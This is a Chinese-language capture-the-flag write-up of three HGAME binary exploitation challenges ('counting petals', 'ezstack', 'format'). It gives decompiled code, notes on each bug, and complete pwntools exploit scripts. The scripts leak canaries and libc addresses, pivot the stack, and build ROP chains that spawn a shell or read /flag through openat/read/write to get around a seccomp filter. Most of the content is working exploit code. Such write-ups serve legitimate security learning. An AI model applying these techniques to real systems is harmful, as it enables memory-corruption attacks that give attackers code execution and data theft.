counting petals
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
保护全开。
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-A4h]
int v5; // [rsp+10h] [rbp-A0h]
int randnum; // [rsp+14h] [rbp-9Ch]
__int64 petals[17]; // [rsp+18h] [rbp-98h] BYREF
int num; // [rsp+A0h] [rbp-10h] BYREF
int cnt; // [rsp+A4h] [rbp-Ch]
unsigned __int64 canary; // [rsp+A8h] [rbp-8h]
canary = __readfsqword(0x28u);
init();
v4 = 0;
while ( 1 )
{
v5 = 0;
randnum = rand() % 30;
cnt = 0;
puts("\nAs we know,there's a tradition to determine whether someone loves you or not...");
puts("... by counting flower petals when u are not sure.");
puts("\nHow many flowers have you prepared this time?");
__isoc99_scanf("%d", &num);
if ( num > 16 )
{
puts("\nNo matter how many flowers there are, they cannot change the fact of whether he or she loves you.");
puts("Just a few flowers will reveal the answer,love fool.");
exit(0);
}
puts("\nTell me the number of petals in each flower.");
while ( cnt < num )
{
printf("the flower number %d : ", (unsigned int)++cnt);
__isoc99_scanf("%ld", &petals[cnt + 1]); // 第一轮cnt=0,但是在输入flower 1的时候值被录入petals[2],导致如果num=16,最后一轮cnt=15,flower 16被录入petals[17],造成数组越界
}
puts("\nDo you want to start with 'love me'");
puts("...or 'not love me'?");
puts("Reply 1 indicates the former and 2 indicates the latter: ");
__isoc99_scanf("%ld", petals);
puts("\nSometimes timing is important, so I added a little bit of randomness.");
puts("\nLet's look at the results.");
while ( v5 < num )
{
printf("%ld + ", petals[++v5 + 1]);
petals[0] += petals[v5 + 1]; // petals[0] 用于记录总和
}
printf("%d", (unsigned int)randnum);
petals[0] += randnum;
puts(" = ");
if ( (petals[0] & 1) == 0 )
break;
puts("He or she doesn't love you.");
if ( v4 > 0 )
return 0;
++v4;
puts("What a pity!");
puts("I can give you just ONE more chance.");
puts("Wish that this time they love you.");
}
puts("Congratulations,he or she loves you.");
return 0;
}
很明显的数组越界,同时调试的时候发现还可以认为指定输出的个数,造成栈中的信息泄露。个人感觉这道题有趣的点在于你可以把 canary 泄露出来,但是没必要用这个值,因为你写入的时候可以直接越过 canary 的地方直接写返回地址。
from pwn import *
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
# io = process('./vuln')
io = remote('node1.hgame.vidar.club', 31884)
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# gdb.attach(io, 'b *$rebase(0x13e5)\nb *$rebase(0x1446)')
# gdb.attach(io, 'b *$rebase(0x1446)')
# gdb.attach(io)
io.sendlineafter('How many flowers have you prepared this time?', b'16')
for i in range(1, 16):
io.sendlineafter(f'the flower number {i} : ', b'100')
io.sendlineafter('the flower number 16 : ', b'98784247832') # 0x1700000018
io.sendlineafter('the flower number 24 : ', b'0')
io.sendlineafter('Reply 1 indicates the former and 2 indicates the latter: \n', b'1')
sleep(2)
row_data = io.recv()
print(row_data)
text_str = row_data.decode()
numbers_part = text_str.split('\n')[4]
addends = numbers_part.split(' + ')
canary = int(addends[16])
leak_libc = int(addends[18])
main_addr = int(addends[20])
print("Canary: ", hex(canary))
print("Leak libc: ", hex(leak_libc))
print("Main address: ", hex(main_addr))
io.sendline(b'16')
for i in range(1, 16):
io.sendlineafter(f'the flower number {i} : ', b'100')
libc.address = leak_libc - 0x29d90
# 0x000000000002a3e5 : pop rdi ; ret
# 0x000000000002be51 : pop rsi ; ret
# 0x000000000011f2e7 : pop rdx ; pop r12 ; ret
pop_rdi = libc.address + 0x000000000002a3e5
pop_rsi = libc.address + 0x000000000002be51
pop_rdx_r12 = libc.address + 0x000000000011f2e7
bin_sh = libc.search(b'/bin/sh').__next__()
system = libc.sym['system']
# payload = flat(
# canary,
# b'B' * 8,
# pop_rdi, bin_sh,
# pop_rsi, 0,
# pop_rdx_r12, 0, 0,
# system
# )
io.sendlineafter('the flower number 16 : ', b'77309411354') # 0x120000001a
io.sendlineafter('the flower number 19 : ', str(pop_rdi))
io.sendlineafter('the flower number 20 : ', str(bin_sh))
io.sendlineafter('the flower number 21 : ', str(pop_rsi))
io.sendlineafter('the flower number 22 : ', str(0))
io.sendlineafter('the flower number 23 : ', str(pop_rdx_r12))
io.sendlineafter('the flower number 24 : ', str(0))
io.sendlineafter('the flower number 25 : ', str(0))
io.sendlineafter('the flower number 26 : ', str(system))
io.interactive()
ezstack
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
canary 和 PIE 都没开。
这题首要问题是怎么调试。这个程序相当于开了个服务端,直接 ./vuln
运行这个文件没有任何输出。
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
socklen_t addr_len; // [rsp+Ch] [rbp-44h] BYREF
struct sockaddr addr; // [rsp+10h] [rbp-40h] BYREF
int optval; // [rsp+2Ch] [rbp-24h] BYREF
struct sockaddr s; // [rsp+30h] [rbp-20h] BYREF
__pid_t v7; // [rsp+44h] [rbp-Ch]
int v8; // [rsp+48h] [rbp-8h]
int fd; // [rsp+4Ch] [rbp-4h]
signal(17, (__sighandler_t)1);
fd = socket(2, 1, 6);
if ( fd < 0 )
{
perror("socket error");
exit(1);
}
memset(&s, 0, sizeof(s));
s.sa_family = 2;
*(_WORD *)s.sa_data = htons(9999u);
*(_DWORD *)&s.sa_data[2] = htonl(0);
optval = 1;
if ( setsockopt(fd, 1, 2, &optval, 4u) < 0 )
{
perror("setsockopt error");
exit(1);
}
if ( bind(fd, &s, 0x10u) < 0 )
{
perror("bind error");
exit(1);
}
if ( listen(fd, 10) < 0 )
{
perror("listen error");
exit(1);
}
addr_len = 16;
while ( 1 )
{
v8 = accept(fd, &addr, &addr_len);
if ( v8 < 0 )
break;
v7 = fork();
if ( v7 == -1 )
{
perror("fork error");
exit(1);
}
if ( !v7 )
{
handler((unsigned int)v8);
close(v8);
exit(0);
}
close(v8);
}
perror("accept error");
exit(1);
}
其中主要处理部分显然在 handler
函数中,而
*(_WORD *)s.sa_data = htons(0x270Fu); // 绑定端口9999
*(_DWORD *)&s.sa_data[2] = htonl(0); // 绑定IP 0.0.0.0
setsockopt(fd, 1, 2, &optval, 4u); // 设置SO_REUSEADDR选项
bind(fd, &s, 0x10u); // 绑定套接字
则告诉我们一些基本信息。我们需要 nc localhost 9999
才能看到 handler
函数的输出:
__int64 __fastcall handler(unsigned int a1)
{
__int64 v2; // [rsp+18h] [rbp-8h]
v2 = seccomp_init(2147418112LL);
seccomp_rule_add(v2, 0LL, 59LL, 0LL);
seccomp_rule_add(v2, 0LL, 322LL, 0LL);
seccomp_load(v2);
print(a1, "Some gossip about Vidar here.\n");
print(a1, "But you'd have to break my vulnerability to tell you.\n");
print(a1, "٩(。・ω・。)و\n");
print(a1, "Are you ready?Let's go!\n");
vuln(a1);
print(a1, "(๑´ㅂ`๑)Good Bye.\n");
return 0LL;
}
那么怎么调试呢?很简单,开两个 process()
就好了。
p = process('./vuln')
gdb.attach(p, "b *0x40140F")
sleep(1)
io = remote('localhost', 9999)
我们要调试的是 p 这个程序,但所有的交互必须通过 io 进行。
v2 = seccomp_init(2147418112LL);
seccomp_rule_add(v2, 0LL, 59LL, 0LL);
seccomp_rule_add(v2, 0LL, 322LL, 0LL);
注意这几句,说明禁用了 execve
execveat
,导致我们即使 ROP 也不能通过调用 system("/bin/sh")
获得控制权,只能退而求其次用 orw 偷 flag.
ssize_t __fastcall vuln(unsigned int a1)
{
char buf[80]; // [rsp+10h] [rbp-50h] BYREF
print(a1, "ξ( ✿>◡❛) There is an obvious stack overflow here.\n");
print(a1, "That's all.\n");
print(a1, "Good luck.\n");
return read(a1, buf, 0x60uLL);
}
再看 vuln
函数,只能溢出 0x10 大小说明我们只能通过栈迁移的方式进行攻击,因为 0x8 一句话肯定写不了完整的 ROP 链(而且程序也没给后门)。24 年网鼎杯 pwn02 作为 pwn 中的送分题是告诉你栈地址的,这样可以很轻松实现栈迁移。但它什么都不肯告诉我们,于是就要用一种通用的手法去迁移——利用 read
.
查看程序调用 read
处的汇编代码:
lea rcx, [rbp-50h]
mov eax, [rbp-54h]
mov edx, 60h ; '`' ; nbytes
mov rsi, rcx ; buf
mov edi, eax ; fd
call _read
nop
leave
retn
由于我们可以覆盖 rbp
,那么再把返回地址写到这里时,read
就会从 rbp - 0x50
处开始读取,并且在下面的 leave; ret
后实现栈的迁移。这就是相对通用的栈迁移手法。
后面就是反复的调试了……
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF('./vuln')
libc = ELF('/mnt/d/PWNlearn/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6')
# p = process('./vuln')
# gdb.attach(p, "b *0x40140F")
sleep(1)
# io = remote('localhost', 9999)
io = remote("node1.hgame.vidar.club", 32496)
# p 相当于服务器,io 相当于客户端,我们只能从 io 发送数据给 p
# 0x0000000000401713 : pop rdi ; ret
# 0x0000000000401711 : pop rsi ; pop r15 ; ret
# 0x00000000004013cb : leave ; ret
pop_rdi = 0x401713
pop_rsi_r15 = 0x401711
data_addr = 0x404100
read_addr = 0x40140F
# 1st 栈迁移,栈被迁移到 .data 段,注意利用 .data 段上的数据满足 fd=4
payload_1 = flat(
b'a' * (0x50),
data_addr + 0x54,
read_addr,
)
io.sendafter('Good luck.\n', payload_1)
pause()
# 2nd 利用 write 泄露 libc
write_got = elf.got['write']
write_plt = elf.plt['write']
leave_ret = 0x4013CB
main_addr = 0x4014F7
payload_2 = flat(
b'a' * 0x10, # 0x404104
data_addr + 0x54, # 0x404114
pop_rdi, # 0x40411c
4, # 0x404124
pop_rsi_r15,
write_got,
0,
write_plt,
read_addr,
data_addr + 20,
leave_ret
)
io.send(payload_2)
write_addr = io.recv()
write_addr = u64(write_addr[:8].ljust(8, b'\x00'))
print('write_addr:', hex(write_addr))
libc.address = write_addr - libc.sym['write']
print('libc_base:', hex(libc.address))
pause()
# 0x000000000002601f : pop rsi ; ret
# 0x0000000000119431 : pop rdx ; pop r12 ; ret
# 0x0000000000036174 : pop rax ; ret
pop_rsi = libc.address + 0x000000000002601f
pop_rdx_r12 = libc.address + 0x0000000000119431
pop_rax = libc.address + 0x0000000000036174
syscall = libc.sym['getpid'] + 9
# 3rd ROP 调用 read, 提供一段长空间
payload_3 = flat(
0x404808, # 0x404104
pop_rdi, # 0x40410c
4, # 0x404114
pop_rsi, # 0x40411c
0x404800, # 0x404124
pop_rdx_r12, # 0x40412c
0xf0, # 0x404134
0, # 0x40413c
elf.plt['read'], # 0x404144
leave_ret, # 0x40414c
0x404104, # 0x404154
leave_ret # 0x40415c
)
io.send(payload_3)
pause()
fd = 5
# 4th 利用 openat 打开 flag 文件,read 读取文件内容,write 输出
payload_4 = flat(
b'/flag\x00\x00\x00',
0x404810,
pop_rdi,
0,
pop_rsi,
0x404800,
pop_rdx_r12,
0,
0,
libc.sym['openat'],
pop_rdi,
fd,
pop_rsi,
0x4040c0,
pop_rdx_r12,
0x50,
0,
elf.plt['read'],
pop_rdi,
4,
pop_rsi,
0x4040c0,
pop_rdx_r12,
0x50,
0,
elf.plt['write']
)
io.send(payload_4)
io.interactive()
format
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
int __fastcall main(int argc, const char **argv, const char **envp)
{
char format[4]; // [rsp+0h] [rbp-10h] BYREF
signed int v5; // [rsp+4h] [rbp-Ch] BYREF
int v6; // [rsp+8h] [rbp-8h] BYREF
int i; // [rsp+Ch] [rbp-4h]
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
printf("you have n chance to getshell\n n = ");
if ( (int)__isoc99_scanf("%d", &v6) <= 0 )
exit(1);
for ( i = 0; i < v6; ++i )
{
printf("type something:");
if ( (int)__isoc99_scanf("%3s", format) <= 0 )
exit(1);
printf("you type: ");
printf(format);
}
printf("you have n space to getshell(n<5)\n n = ");
__isoc99_scanf("%d\n", &v5);
if ( v5 <= 5 )
vuln(v5);
return 0;
}
ssize_t __fastcall vuln(unsigned int a1)
{
char buf[4]; // [rsp+1Ch] [rbp-4h] BYREF
printf("type something:");
return read(0, buf, a1);
}
由于 vuln
参数 a1
是 unsigned int,所以填 -1 就可以随便溢出了。前面给了无数次格式化字符串漏洞的机会,但只能输 3 个字符,容易想到的只有 %p,发现泄露的 rsi
是一个栈上的地址。虽然这里限制了 3 个字符,但由于栈溢出,我们可以重复利用这个格式化字符串漏洞,并且泄露多个栈上的地址,找到我们需要的那个(跟 libc 相关的地址),然后就快乐 ROP 了。
lea rax, [rbp-10h]
mov rdi, rax ; format
mov eax, 0
call _printf
下面是完整 exp:
from pwn import *
io = process('./vuln')
# io = remote("node1.hgame.vidar.club", 31535)
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io, "b *0x4011d4\nb *0x4012cf")
# gdb.attach(io, "b *0x401328\nb *0x4011d9")
# gdb.attach(io, "b *0x401316")
# leak stack
io.sendlineafter('n = ', b'1')
io.recv()
io.sendline(b'%p')
io.recvuntil('you type: ')
leak_stack = io.recv(14).decode()
leak_stack = int(leak_stack, 16)
print("leak_stack: ", hex(leak_stack))
# sleep(1)
# leak libc
format_addr = 0x4012cf
# 0x000000000040101a : ret
ret_addr = 0x40101a
# lea rax, [rbp + format]
# mov rdi, rax
# mov eax, 0
# call printf
# format 在 rbp-0x10 处,所以可以利用这个片段泄露栈上地址,从而泄露 libc 基地址
io.sendlineafter("n = ", b'-1')
# io.send(b'a')
libc_to_leak_addr = leak_stack + 0x2130
payload = flat(
b'a' * 5,
libc_to_leak_addr,
format_addr,
# b'%p%p%p%p%p%p%p%p'
b'%3$p'
)
io.send(payload)
sleep(1)
io.recvuntil("type something:")
leak_libc = io.recv(14).decode()
print("leak_libc: ", leak_libc)
libc_addr = int(leak_libc, 16) - 0x1147e2
libc.address = libc_addr
print("libc_addr: ", hex(libc_addr))
# stack overflow
# 0x000000000002a3e5 : pop rdi ; ret
# 0x000000000002be51 : pop rsi ; ret
rdi_addr = 0x2a3e5 + libc_addr
rsi_addr = 0x2be51 + libc_addr
system_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh'))
payload = flat(
b'a' * (4 + 8),
rdi_addr + 1,
rdi_addr,
binsh_addr,
system_addr
)
io.send(payload)
io.interactive()